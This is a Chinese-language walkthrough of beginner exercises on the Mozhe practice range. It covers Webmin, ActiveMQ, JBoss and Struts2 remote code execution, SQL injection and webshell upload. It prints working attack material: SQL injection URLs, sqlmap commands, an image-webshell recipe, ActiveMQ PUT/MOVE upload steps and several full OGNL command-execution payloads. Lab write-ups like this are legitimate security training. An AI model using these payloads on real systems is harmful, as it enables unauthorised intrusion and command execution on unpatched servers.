墨者靶场初级打靶记录
Webmin未经身份验证的远程代码执行
背景介绍
Webmin是用于类Unix的系统的基于Web的系统配置工具,可称远程管理利器。该漏洞存在于密码重置页面中,该页面允许未经身份验证的用户通过简单的POST请求执行任意命令。
解题方向
利用Webmin漏洞获取根目录的key。
影响版本
Webmin<=1.920
漏洞分析
该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码
解题过程
搜索引擎搜索一下发现是 Webmin 远程命令执行漏洞(CVE-2019-15107)
抓一个登录包然后修改访问路径为/password_change.cgi
同时再设置pam、expired等参数,old参数是查看key.txt,就被解析执行了
然后在返回包中查找mozhe,就能找到key了
SQL注入漏洞测试(宽字节)
打开网页发现是一个登录界面
测试了一下发现账号密码处没有注入,这个界面很敏感,有点印象,盲猜注入点就是在下面的公告处
所以单独拿单引号是会被转义的
这时候需要在单引号前面加%df来达到规避(为什么要加%df,是因为加上了%df之后,再搭配单引号,就会占用两个字节)
参考文章:https://netsecurity.51cto.com/article/435074.html
接下来就是爆库、表、账号,最后结果为
1 | http://124.70.71.251:41057/new_list.php?id=id=-1%df' union select 1,2,(select group_concat(password) from stormgroup_member),4,(select group_concat(name) from stormgroup_member)--+ |
md5解密就OK
X-Forwarded-For注入漏洞实战
解题方向
对登录表单的各参数进行测试,找到SQL注入点,对数据库内容进行读取,找到账号与密码。
解题过程
通过抓包发现没有X-Forwarded-For,疑似有注入
添加x-forwarded-for项后,赋值127.0.0.1
发现IP被回显回来了,所以有注入
方法一 sqlmap注入
把POST请求存入txt中,再把X-forwarded-for的值改为 *,再使用sqlmap跑
1 | sqlmap -r requests.txt --dbs --batch #爆破数据库 |
接下来就是爆表,爆用户名密码等等
方法二 手工注入
1 | X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,select user(),0x7e),1)# |
GIF98A图片马欺骗绕过获取webshell
实训目标
1、掌握常见图片类型的文件头内容;
2、掌握表单数据通过POST提交数据时,对数据的修改方法;
3、了解WebShell是什么及其作用;
4、了解PHP程序的WebShell脚本的执行原理;
解题方向
绕过页面对可执行文件上传的限制,利用WebShell读取服务器上的源代码内容。
解题过程
打开题目是一个上传点
试着上传jpg图片,上传成功且有返回路径
接下来制作图片马,制作方式介绍两种
图片马方式一 cmd
1 | copy 1.jpg/b+php.txt/a 3.jpg |
/b是以二进制形式打开
/a是以ascii码方式打开
结果为3.jpg
图片马方式二 notepad
使用notepad打开图片,然后在图片末尾加入php一句话木马
这种方式在此处执行不通,只作为方法介绍
上传图片马
在上传图片时,把包抓下来,然后把后缀名给修改为php
再拼接一下图片马的地址
再用蚁剑连接就OK
ActiveMQ任意文件写入CVE-2016-3088
什么是ActiveMQ?
ActiveMQ是Apache出品,最流行的,能力强劲的开源消息中间件
漏洞原理
ActiveMQ 中的 FileServer 服务容许用户经过 HTTP PUT 方法上传文件到指定目录,构造PUT请求上传 webshell 到 fileserver 目录,而后经过 Move 方法将其移动到有执行权限的 admin/ 目录。
CVE-2016-3088
漏洞影响
Apache ActiveMQ 5.x ~ 5.14.0
解题方向
任意文件写入可直接写入shell。
解题过程
打开网站后,随便点击一个
然后弹出窗口让我输入账号密码登录,这里盲猜一波admin/admin
好家伙,居然进来了
在网上搜了一下,存在未授权访问
1 | /admin/connections.jsp |
不过暂时没有意义
先把这个webshell写入1.txt文件
1 | PUT /fileserver/1.txt HTTP/1.1 |
返回结果是204说明成功了
因为上传的文件不能被服务器所解析,所以需要将webshell文件放到可执行目录去
可以解析jsp文件的路径有:
1./opt/activemq/webapps/api
2./opt/activemq/webapps/admin
1 | MOVE /fileserver/1.txt HTTP/1.1 |
这里我选择api目录下
然后访问
1 | http://124.70.71.251:40496/api/1.jsp?cmd=ls |
成功getshell
参考这位师傅的文章:https://www.ol4three.com/2020/12/17/WEB/Exploit/ActiveMQ/ActiveMQ漏洞复现分析以及POC-CVE-2016-3088/
JBoss 4.x JBossMQ JMS反序列化漏洞CVE-2017-7504
jboss是一个基于J2EE的开放源代码的应用服务器。
解题过程
进入web-console
盲猜登录的弱口令admin/admin
发现了版本4.0.5
在Github上找到了利用工具:https://github.com/joaomatosf/jexboss
用git拉下来,安装
1 | git clone https://github.com/joaomatosf/jexboss.git #拉到kali |
这儿输入yes就行
成功getshell
或者手动复现,参考文章:https://gv7.me/articles/2018/CVE-2017-7504/
Apache Struts2远程代码执行漏洞(S2-032)CVE-2016-3081
打开网站发现,哎,这种构图还挺好看的哈哈哈哈
漏洞描述
启用动态方法调用后,Apache Struts 2.3.19至2.3.20.2、2.3.21至2.3.24.1和2.3.25至2.3.28都是影响的范围,允许远程攻击者通过方法:前缀执行与链式表达式相关的任意代码。
漏洞原理
远程用户可以向目标服务器提供包含“ method:”前缀的特制表达式,该服务器已启用动态方法调用以在目标系统上执行任意代码。
解题过程
手工
POC为
1 | method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami |
拼接一下URL
1 | http://124.70.71.251:47974/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami |
自动
发现本系统也使用了JBOSS,且版本为4.0.5,所以使用上一篇文章CVE-2017-7504的检测工具,也能getshell
Apache Struts2远程代码执行漏洞(S2-037)CVE-2016-4438
漏洞描述
和S2-033一样也是关于rest插件导致method变量被篡改造成的远程代码执行漏洞
本漏洞可影响 Struts 2.1.0–2.5.1,通杀 Struts2 所有版本
解题过程
POC为:
1 | /orders/4/%28%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=whoami |
拼接一下URL:
1 | http://124.70.71.251:48254/orders/4/%28%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=whoami |
Apache Struts2远程代码执行漏洞(S2-016)CVE-2013-2251
影响版本
Struts2.0.0 - Struts2.3.15
解题过程
POC为:
1 | redirect:%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls').getInputStream())%7D |
抓包拼接一下
参考文章:https://www.cnblogs.com/4thrun/p/15168404.html
Apache Struts2远程代码执行漏洞(S2-029)CVE-2016-3081
漏洞描述
启用动态方法调用后,Apache Struts 2.3.19至2.3.20.2、2.3.21至2.3.24.1和2.3.25至2.3.28都是影响的范围,允许远程攻击者通过方法:前缀执行与链式表达式相关的任意代码。漏洞确定是出现在OGNL解释执行的过程
影响版本
Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)
POC为:
1 | (#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream())) |
url编码后为:
1 | %28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%72%69%76%61%74%65%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%72%6f%74%65%63%74%65%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%65%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%50%61%74%74%65%72%6e%73%27%5d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%63%63%65%70%74%50%72%6f%70%65%72%74%69%65%73%27%5d%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%65%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%27%5d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%63%63%65%70%74%50%72%6f%70%65%72%74%69%65%73%27%5d%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%61%63%6b%61%67%65%50%72%6f%74%65%63%74%65%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%6c%73%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29 |
URL拼接:
1 | http://124.70.71.251:47219/?message=%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%72%69%76%61%74%65%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%72%6f%74%65%63%74%65%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%65%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%50%61%74%74%65%72%6e%73%27%5d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%63%63%65%70%74%50%72%6f%70%65%72%74%69%65%73%27%5d%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%65%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%27%5d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%63%63%65%70%74%50%72%6f%70%65%72%74%69%65%73%27%5d%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%61%63%6b%61%67%65%50%72%6f%74%65%63%74%65%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%6c%73%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29 |
我这里没有出现效果,真的就奇怪,当然这里也可以用CVE-2016-3081来进行命令执行
BeesCMS系统漏洞分析溯源
未完待续…